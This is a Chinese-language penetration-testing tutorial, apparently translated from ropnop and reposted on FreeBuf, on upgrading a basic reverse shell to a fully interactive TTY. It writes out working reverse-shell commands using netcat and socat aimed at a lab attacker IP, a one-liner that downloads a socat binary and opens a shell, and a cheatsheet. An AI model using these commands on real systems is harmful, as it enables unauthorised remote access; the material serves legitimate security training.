如何將簡單的Shell轉換成為完全互動式的TTY
作為一名滲透測試人員,最令人激動的莫過於netcat為我們反彈回了一個shell連接,以及通過id命令查看到一個令人滿意的用戶許可權。但凡事總有意外,由於我們獲取的shell並不是一個具有完整交互的shell,因此可能會在使用過程中被掛起,甚至還可能會因為我們的操作失誤,例如不小心摁下了 「Ctrl-C」鍵,這將直接終止我們的整個shell進程讓徒勞而歸。
除了沒有正確處理SIGINT(信號)之外,這些「啞」shell還有其它諸多缺點:
一些命令如su和ssh,需要一個正確的終端才能運行
通常不顯示STDERR
無法正常使用vim等文本編輯器
沒有完成標籤
沒有向上箭頭使用歷史
沒有jobcontrol等
長話短說雖然這些sehll也很棒,但我更傾向於在完全互動的TTY中進行操作。下面我將為大家分享一些用來「升級」這些shell的技巧和方法。在正式開始之前我向大家推薦一個叫Pentest Monkey的博客,以及Phineas Fisher的技術視頻和writeup。
<點擊文末的閱讀原文查看這些內容>
為了便於演示,以下所有的屏幕截圖和命令都將在一台易受攻擊的Web伺服器(「VICTIM」)和用於捕獲shell的Kali VM(「KALI」)上完成。
VICTIM IP
: 10.0.3.7
KALI IP
: 10.0.3.4
生成反向shell命令
我們首先使用netcat來獲取最常見的反向shell:
nc -e /bin/sh 10.0.3.4 4444
在kali虛擬機上我們輸入以下命令:
nc -lvp 4444
問題不在於每個伺服器是否都安裝了netcat,並且也不是每個版本的netcat都具備-e選項。Pentest Monkey有篇關於反向shell的cheatsheet,為我們提供了一些不同的方法。但我更熱衷於使用Metasploit的msfvenom一行生成命令。
Metasploit在「cmd/unix」下,有幾個可用於生成單行綁定或反向shell的payload:
以上顯示的所有payload都可以和msfvenom一起使用,並且我們可以根據自身需求指定LHOST,LPORT或RPORT。例如,這裡是一個不需要-e標誌的netcat命令:
如果沒有安裝netcat,我們還可以生成一個Perl的反向shell:
這些都可以通過使用netcat,並偵聽指定的埠(4444)來捕獲。
方法1:Python pty模塊
對於已經安裝了python的系統,我們可以使用python提供的pty模塊,只需要一行腳本就可以創建一個原生的終端,命令如下:
python -c "import pty; pty.spawn("/bin/bash")"
在創建完成後,我們此時就可以運行su命令了。(並且界面提示也變得更加友好)
即便如此,但問題依舊沒有完全的解決。例如SIGINT(Ctrl-C)仍然會關閉終止Netcat,完成標籤或歷史記錄也依舊沒有,但這個方法在實際運用中也有一定的效果。
方法2:使用socat
socat是一個netcat上的替代工具,可以說是nc的增強版。我們可以使用Socat通過TCP連接傳遞完整的TTY。
如果你成功在目標機器安裝了socat,那麼我們就可以通過以下命令來獲取到一個完全互動式的TTY反向shell:
在kali虛擬機我們運行以下偵聽命令:
socat file:`tty`,raw,echo=0 tcp-listen:4444
在目標機器我們運行:
socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
如果目標系統沒有安裝socat你可以通過以下Github地址,下載相關的二進位靜態文件進行安裝:
https://github.com/andrew-d/static-binaries
通過命令注入漏洞,我們可以將socat二進位文件下載到一個可寫的目錄,並通過chmod命令修改文件的執行許可權,然後在一行中執行反向shell:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
此時在kali,你將會獲取到一個完全互動式的TTY會話。它支持完成標籤,SIGINT/SIGSTP,vim,向上箭頭使用歷史等。
方法3:魔術般的Netcat升級
在Phineas Fisher的技術視頻中該方法被展示出來,在我看來感覺就像是魔術一般。基本操作就是在kali終端內設置一些stty選項,最終將「啞」netcat shell升級到了一個完全交互的TTY。
首先我們使用與方法1相同的技術來生成PTY。一旦bash在PTY中運行,我們按Ctrl-Z鍵將shell調至後台運行
現在我們來檢查當前終端和STTY信息,所以我們可以強制連接到shell並匹配:
所需的信息是TERM類型(「xterm-256color」)和當前TTY的大小(38行;116列)
接著我們將當前STTY設置為raw(請確保shell仍在後台運行),並使用以下命令回顯輸入字元:
stty raw -echo
使用raw stty,輸入/輸出將看起來有點奇怪,你可能看不到下一個命令,但是當你鍵入時,它們則會被執行。
下一個前台shell將重新打開反向shell,但格式化將關閉。最後,重新初始化終端。
注意:
我沒有再次鍵入nc命令(如上圖所示)。我實際上進入到了fg(前台),但這並沒有被列印出來。nc命令現在是處於前台的工作狀態。reset命令進入到netcat shell中後,shell會正常顯示。最後一步是設置shell,終端類型和stty大小來匹配我們當前的Kali窗口(上面收集的信息)。$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116
最終的結果是我們將獲取到一個在netcat之上的完全互動式的TTY,它具有我們所期望的所有功能(tab-complete,history,job control等):
甚至我們還可以在netcat shell上運行Tmux!
Cheatsheet
Cheatsheet命令:
使用Python作為一個偽終端
python -c "import pty; pty.spawn("/bin/bash")"
使用socat
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:"bash -li",pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
使用stty選項
# In reverse shell
$ python -c "import pty; pty.spawn("/bin/bash")"
Ctrl-Z
# In Kali
$ stty raw -echo
$ fg
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
*參考來源:ropnop,FB小編 secist 編譯,轉載請註明來自FreeBuf.COM


※特斯拉Model X也被破解,來看PoC燈光秀
※如何使用HackRF做一個簡單的IMSI捕獲器
※使用Httrack和Tomcat快速搭建本地釣魚網站
TAG:FreeBuf |
※PDF轉換成word轉換器下載
※PPT/Word/Excel 協同使用,相互轉換的方法其實非常簡單!
※Twitter UWP已轉換為PWA應用
※?可以給你帶來轉換率的Listing優化之A+ Content
※Spatial MRX可將手機轉換為全息AR
※Stem Cells Int:粘著斑激酶和ROCK信號轉導是人類脂肪幹細胞向成骨和成脂譜系分化的轉換調節因子
※Swift 類型轉換
※CodeWarrior IDE使用Tips-使用burner將elf文件轉換生成HEX和BIN文件的方法和步驟詳解
※Reality Zero One推出新平台旨在將3D對象轉換成VR/AR環境
※CYBERGadget將推出Switch用NGC手柄轉換器
※橫掃各項NLP任務的BERT模型有了PyTorch實現!提供轉換腳本
※使用 Handbrake 轉換視頻
※DataURL, Blob, File, Image之間的關係與轉換
※Delphi TColor和16進位顏色的相互轉換
※在 Linux 中使用 SoundConverter 輕鬆轉換音頻文件格式
※手套Talking Hands可以記錄手部動作並轉換為文字信息
※使用 pandoc 將 Markdown 轉換為格式化文檔
※Spatial MRX的移動AR設備,可將手機轉換為全息AR增強現實遊戲機
※TensorFlow新功能「AutoGraph」:將Python轉換為計算圖
※Nvidia 圖片風格轉換工具——FastPhotoStyle